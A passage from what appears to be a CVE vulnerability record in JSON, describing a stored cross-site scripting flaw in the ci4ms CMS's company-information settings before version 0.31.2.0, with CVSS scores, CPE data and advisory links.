Prior to 0.31.2.0, the application fails to properly sanitize user-controlled input within System Settings – Company Information. Several administrative configuration fields accept attacker-controlled input that is stored server-side and later rendered without proper output encoding. These values are persisted in the database and rendered unsafely on public-facing pages only, such as the main landing page. There is no execution in the administrative dashboard—the vulnerability only impacts the public frontend. This vulnerability is fixed in 0.31.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.2.0", "matchCriteriaId": "253861F6-B204-40C2-81C1-0AD431CECFB2"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-5ghq-42rg-769x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-5ghq-42rg-769x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}
